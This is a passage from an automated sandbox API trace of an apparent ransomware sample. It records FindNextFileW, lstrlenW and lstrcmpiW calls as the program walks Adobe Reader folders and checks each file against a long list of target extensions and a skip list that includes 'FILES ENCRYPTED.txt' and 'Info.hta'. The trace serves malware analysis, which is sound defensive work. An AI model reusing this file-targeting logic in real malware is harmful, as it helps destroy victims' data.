(lpString1=".pl", lpString2="png") returned -1 [0274.815] lstrlenW (lpString=".pls") returned 4 [0274.815] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0274.815] lstrlenW (lpString=".pm") returned 3 [0274.815] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0274.815] lstrlenW (lpString=".png") returned 4 [0274.815] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0274.815] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0274.815] lstrlenW (lpString=".love$") returned 6 [0274.815] lstrcmpiW (lpString1=".love$", lpString2="on.png") returned -1 [0274.815] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0274.816] lstrcmpiW (lpString1="boot.ini", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrcmpiW (lpString1="bootfont.bin", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrcmpiW (lpString1="ntldr", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrcmpiW (lpString1="ntdetect.com", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrcmpiW (lpString1="io.sys", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrcmpiW (lpString1="Info.hta", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrcmpiW (lpString1="finbbp.exe", lpString2="rhp_world_icon.png") returned -1 [0274.816] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png") returned 138 [0274.816] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdae26b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdae26b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0274.816] lstrlenW (lpString="rhp_world_icon_2x.png") returned 21 [0274.816] lstrlenW (lpString=".1cd") returned 4 [0274.816] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0274.816] lstrlenW (lpString=".3ds") returned 4 [0274.816] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0274.816] lstrlenW (lpString=".3fr") returned 4 [0274.816] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0274.816] lstrlenW (lpString=".3g2") returned 4 [0274.816] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0274.816] lstrlenW (lpString=".3gp") returned 4 [0274.816] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0274.816] lstrlenW (lpString=".7z") returned 3 [0274.816] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0274.816] lstrlenW (lpString=".accda") returned 6 [0274.817] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1 [0274.817] lstrlenW (lpString=".accdb") returned 6 [0274.817] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1 [0274.817] lstrlenW (lpString=".accdc") returned 6 [0274.817] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1 [0274.817] lstrlenW (lpString=".accde") returned 6 [0274.817] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1 [0274.817] lstrlenW (lpString=".accdt") returned 6 [0274.817] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1 [0274.817] lstrlenW (lpString=".accdw") returned 6 [0274.817] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1 [0274.817] lstrlenW (lpString=".adb") returned 4 [0274.817] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0274.817] lstrlenW (lpString=".adp") returned 4 [0274.817] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0274.817] lstrlenW (lpString=".ai") returned 3 [0274.817] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0274.817] lstrlenW (lpString=".ai3") returned 4 [0274.817] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0274.817] lstrlenW (lpString=".ai4") returned 4 [0274.817] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0274.817] lstrlenW (lpString=".ai5") returned 4 [0274.817] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0274.818] lstrlenW (lpString="rhp_world_icon_hover.png") returned 24 [0274.818] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0274.818] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0274.818] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0274.818] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 0 [0274.819] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0274.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0274.820] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0274.820] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0274.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0274.820] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0274.820] lstrlenW (lpString="warning.png") returned 11 [0274.820] lstrlenW (lpString=".1cd") returned 4 [0274.820] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0274.820] lstrlenW (lpString=".3ds") returned 4 [0274.820] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0274.820] lstrlenW (lpString=".3fr") returned 4 [0274.820] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0274.820] lstrlenW (lpString=".3g2") returned 4 [0274.820] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0274.820] lstrlenW (lpString=".3gp") returned 4 [0274.820] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0274.820] lstrlenW (lpString=".7z") returned 3 [0274.820] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0274.820] lstrlenW (lpString=".accda") returned 6 [0274.820] lstrcmpiW (lpString1=".accda", lpString2="ng.png") returned -1 [0274.820] lstrlenW (lpString=".accdb") returned 6 [0274.820] lstrcmpiW (lpString1=".accdb", lpString2="ng.png") returned -1 [0274.821] lstrlenW (lpString=".accdc") returned 6 [0274.821] lstrcmpiW (lpString1=".accdc", lpString2="ng.png") returned -1 [0274.821] lstrlenW (lpString=".accde") returned 6 [0274.821] lstrcmpiW (lpString1=".accde", lpString2="ng.png") returned -1 [0274.821] lstrlenW (lpString=".accdt") returned 6 [0274.821] lstrcmpiW (lpString1=".accdt", lpString2="ng.png") returned -1 [0274.821] lstrlenW (lpString=".accdw") returned 6 [0274.821] lstrcmpiW (lpString1=".accdw", lpString2="ng.png") returned -1 [0274.821] lstrlenW (lpString=".adb") returned 4 [0274.821] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".adp") returned 4 [0274.821] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".ai") returned 3 [0274.821] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0274.821] lstrlenW (lpString=".ai3") returned 4 [0274.821] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".ai4") returned 4 [0274.821] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".ai5") returned 4 [0274.821] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".ai6") returned 4 [0274.821] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".ai7") returned 4 [0274.821] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".ai8") returned 4 [0274.821] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0274.821] lstrlenW (lpString=".anim") returned 5 [0274.821] lstrcmpiW (lpString1=".anim", lpString2="g.png") returned -1 [0274.822] lstrlenW (lpString=".arw") returned 4 [0274.822] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".as") returned 3 [0274.822] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0274.822] lstrlenW (lpString=".asa") returned 4 [0274.822] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".asc") returned 4 [0274.822] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".ascx") returned 5 [0274.822] lstrcmpiW (lpString1=".ascx", lpString2="g.png") returned -1 [0274.822] lstrlenW (lpString=".asm") returned 4 [0274.822] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".asmx") returned 5 [0274.822] lstrcmpiW (lpString1=".asmx", lpString2="g.png") returned -1 [0274.822] lstrlenW (lpString=".asp") returned 4 [0274.822] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".aspx") returned 5 [0274.822] lstrcmpiW (lpString1=".aspx", lpString2="g.png") returned -1 [0274.822] lstrlenW (lpString=".asr") returned 4 [0274.822] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".asx") returned 4 [0274.822] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".avi") returned 4 [0274.822] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".avs") returned 4 [0274.822] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0274.822] lstrlenW (lpString=".backup") returned 7 [0274.823] lstrcmpiW (lpString1=".backup", lpString2="ing.png") returned -1 [0274.823] lstrlenW (lpString=".bak") returned 4 [0274.823] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".bay") returned 4 [0274.823] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".bd") returned 3 [0274.823] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0274.823] lstrlenW (lpString=".bin") returned 4 [0274.823] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".bmp") returned 4 [0274.823] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".bz2") returned 4 [0274.823] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".c") returned 2 [0274.823] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0274.823] lstrlenW (lpString=".cdr") returned 4 [0274.823] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".cer") returned 4 [0274.823] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".cf") returned 3 [0274.823] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0274.823] lstrlenW (lpString=".cfc") returned 4 [0274.823] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".cfm") returned 4 [0274.823] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0274.823] lstrlenW (lpString=".cfml") returned 5 [0274.823] lstrcmpiW (lpString1=".cfml", lpString2="g.png") returned -1 [0274.824] lstrlenW (lpString=".cfu") returned 4 [0274.824] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".chm") returned 4 [0274.824] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".cin") returned 4 [0274.824] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".class") returned 6 [0274.824] lstrcmpiW (lpString1=".class", lpString2="ng.png") returned -1 [0274.824] lstrlenW (lpString=".clx") returned 4 [0274.824] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".config") returned 7 [0274.824] lstrcmpiW (lpString1=".config", lpString2="ing.png") returned -1 [0274.824] lstrlenW (lpString=".cpp") returned 4 [0274.824] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".cr2") returned 4 [0274.824] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".crt") returned 4 [0274.824] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".crw") returned 4 [0274.824] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".cs") returned 3 [0274.824] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0274.824] lstrlenW (lpString=".css") returned 4 [0274.824] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".csv") returned 4 [0274.824] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0274.824] lstrlenW (lpString=".cub") returned 4 [0274.824] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dae") returned 4 [0274.825] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dat") returned 4 [0274.825] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".db") returned 3 [0274.825] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0274.825] lstrlenW (lpString=".dbf") returned 4 [0274.825] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dbx") returned 4 [0274.825] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dc3") returned 4 [0274.825] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dcm") returned 4 [0274.825] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dcr") returned 4 [0274.825] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".der") returned 4 [0274.825] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dib") returned 4 [0274.825] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dic") returned 4 [0274.825] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".dif") returned 4 [0274.825] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0274.825] lstrlenW (lpString=".divx") returned 5 [0274.825] lstrcmpiW (lpString1=".divx", lpString2="g.png") returned -1 [0274.825] lstrlenW (lpString=".djvu") returned 5 [0274.825] lstrcmpiW (lpString1=".djvu", lpString2="g.png") returned -1 [0274.826] lstrlenW (lpString=".dng") returned 4 [0274.826] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0274.826] lstrlenW (lpString=".doc") returned 4 [0274.826] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0274.826] lstrlenW (lpString=".docm") returned 5 [0274.826] lstrcmpiW (lpString1=".docm", lpString2="g.png") returned -1 [0274.826] lstrlenW (lpString=".docx") returned 5 [0274.826] lstrcmpiW (lpString1=".docx", lpString2="g.png") returned -1 [0274.826] lstrlenW (lpString=".dot") returned 4 [0274.826] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0274.826] lstrlenW (lpString=".dotm") returned 5 [0274.826] lstrcmpiW (lpString1=".dotm", lpString2="g.png") returned -1 [0274.826] lstrlenW (lpString=".dotx") returned 5 [0274.826] lstrcmpiW (lpString1=".dotx", lpString2="g.png") returned -1 [0274.826] lstrlenW (lpString=".dpx") returned 4 [0274.826] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0274.826] lstrlenW (lpString=".dqy") returned 4 [0274.826] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0274.826] lstrlenW (lpString=".dsn") returned 4 [0274.827] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".dt") returned 3 [0274.827] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0274.827] lstrlenW (lpString=".dtd") returned 4 [0274.827] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".dwg") returned 4 [0274.827] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".dwt") returned 4 [0274.827] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".dx") returned 3 [0274.827] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0274.827] lstrlenW (lpString=".dxf") returned 4 [0274.827] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".edml") returned 5 [0274.827] lstrcmpiW (lpString1=".edml", lpString2="g.png") returned -1 [0274.827] lstrlenW (lpString=".efd") returned 4 [0274.827] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".elf") returned 4 [0274.827] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".emf") returned 4 [0274.827] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".emz") returned 4 [0274.827] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0274.827] lstrlenW (lpString=".epf") returned 4 [0274.827] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".eps") returned 4 [0274.828] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".epsf") returned 5 [0274.828] lstrcmpiW (lpString1=".epsf", lpString2="g.png") returned -1 [0274.828] lstrlenW (lpString=".epsp") returned 5 [0274.828] lstrcmpiW (lpString1=".epsp", lpString2="g.png") returned -1 [0274.828] lstrlenW (lpString=".erf") returned 4 [0274.828] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".exr") returned 4 [0274.828] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".f4v") returned 4 [0274.828] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".fido") returned 5 [0274.828] lstrcmpiW (lpString1=".fido", lpString2="g.png") returned -1 [0274.828] lstrlenW (lpString=".flm") returned 4 [0274.828] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".flv") returned 4 [0274.828] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".frm") returned 4 [0274.828] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".fxg") returned 4 [0274.828] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".geo") returned 4 [0274.828] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".gif") returned 4 [0274.828] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0274.828] lstrlenW (lpString=".grs") returned 4 [0274.829] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".gz") returned 3 [0274.829] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0274.829] lstrlenW (lpString=".h") returned 2 [0274.829] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0274.829] lstrlenW (lpString=".hdr") returned 4 [0274.829] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".hpp") returned 4 [0274.829] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".hta") returned 4 [0274.829] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".htc") returned 4 [0274.829] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".htm") returned 4 [0274.829] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".html") returned 5 [0274.829] lstrcmpiW (lpString1=".html", lpString2="g.png") returned -1 [0274.829] lstrlenW (lpString=".icb") returned 4 [0274.829] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".ics") returned 4 [0274.829] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".iff") returned 4 [0274.829] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".inc") returned 4 [0274.829] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0274.829] lstrlenW (lpString=".indd") returned 5 [0274.829] lstrcmpiW (lpString1=".indd", lpString2="g.png") returned -1 [0274.829] lstrlenW (lpString=".ini") returned 4 [0274.830] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".iqy") returned 4 [0274.830] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".j2c") returned 4 [0274.830] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".j2k") returned 4 [0274.830] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".java") returned 5 [0274.830] lstrcmpiW (lpString1=".java", lpString2="g.png") returned -1 [0274.830] lstrlenW (lpString=".jp2") returned 4 [0274.830] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".jpc") returned 4 [0274.830] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".jpe") returned 4 [0274.830] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".jpeg") returned 5 [0274.830] lstrcmpiW (lpString1=".jpeg", lpString2="g.png") returned -1 [0274.830] lstrlenW (lpString=".jpf") returned 4 [0274.830] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".jpg") returned 4 [0274.830] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".jpx") returned 4 [0274.830] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".js") returned 3 [0274.830] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0274.830] lstrlenW (lpString=".jsf") returned 4 [0274.830] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0274.830] lstrlenW (lpString=".json") returned 5 [0274.831] lstrcmpiW (lpString1=".json", lpString2="g.png") returned -1 [0274.831] lstrlenW (lpString=".jsp") returned 4 [0274.831] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".kdc") returned 4 [0274.831] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".kmz") returned 4 [0274.831] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".kwm") returned 4 [0274.831] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".lasso") returned 6 [0274.831] lstrcmpiW (lpString1=".lasso", lpString2="ng.png") returned -1 [0274.831] lstrlenW (lpString=".lbi") returned 4 [0274.831] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".lgf") returned 4 [0274.831] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".lgp") returned 4 [0274.831] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".log") returned 4 [0274.831] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".m1v") returned 4 [0274.831] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".m4a") returned 4 [0274.831] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".m4v") returned 4 [0274.831] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".max") returned 4 [0274.831] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0274.831] lstrlenW (lpString=".md") returned 3 [0274.832] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0274.832] lstrlenW (lpString=".mda") returned 4 [0274.832] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mdb") returned 4 [0274.832] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0274.832] lstrlenW (lpString=".mde") returned 4 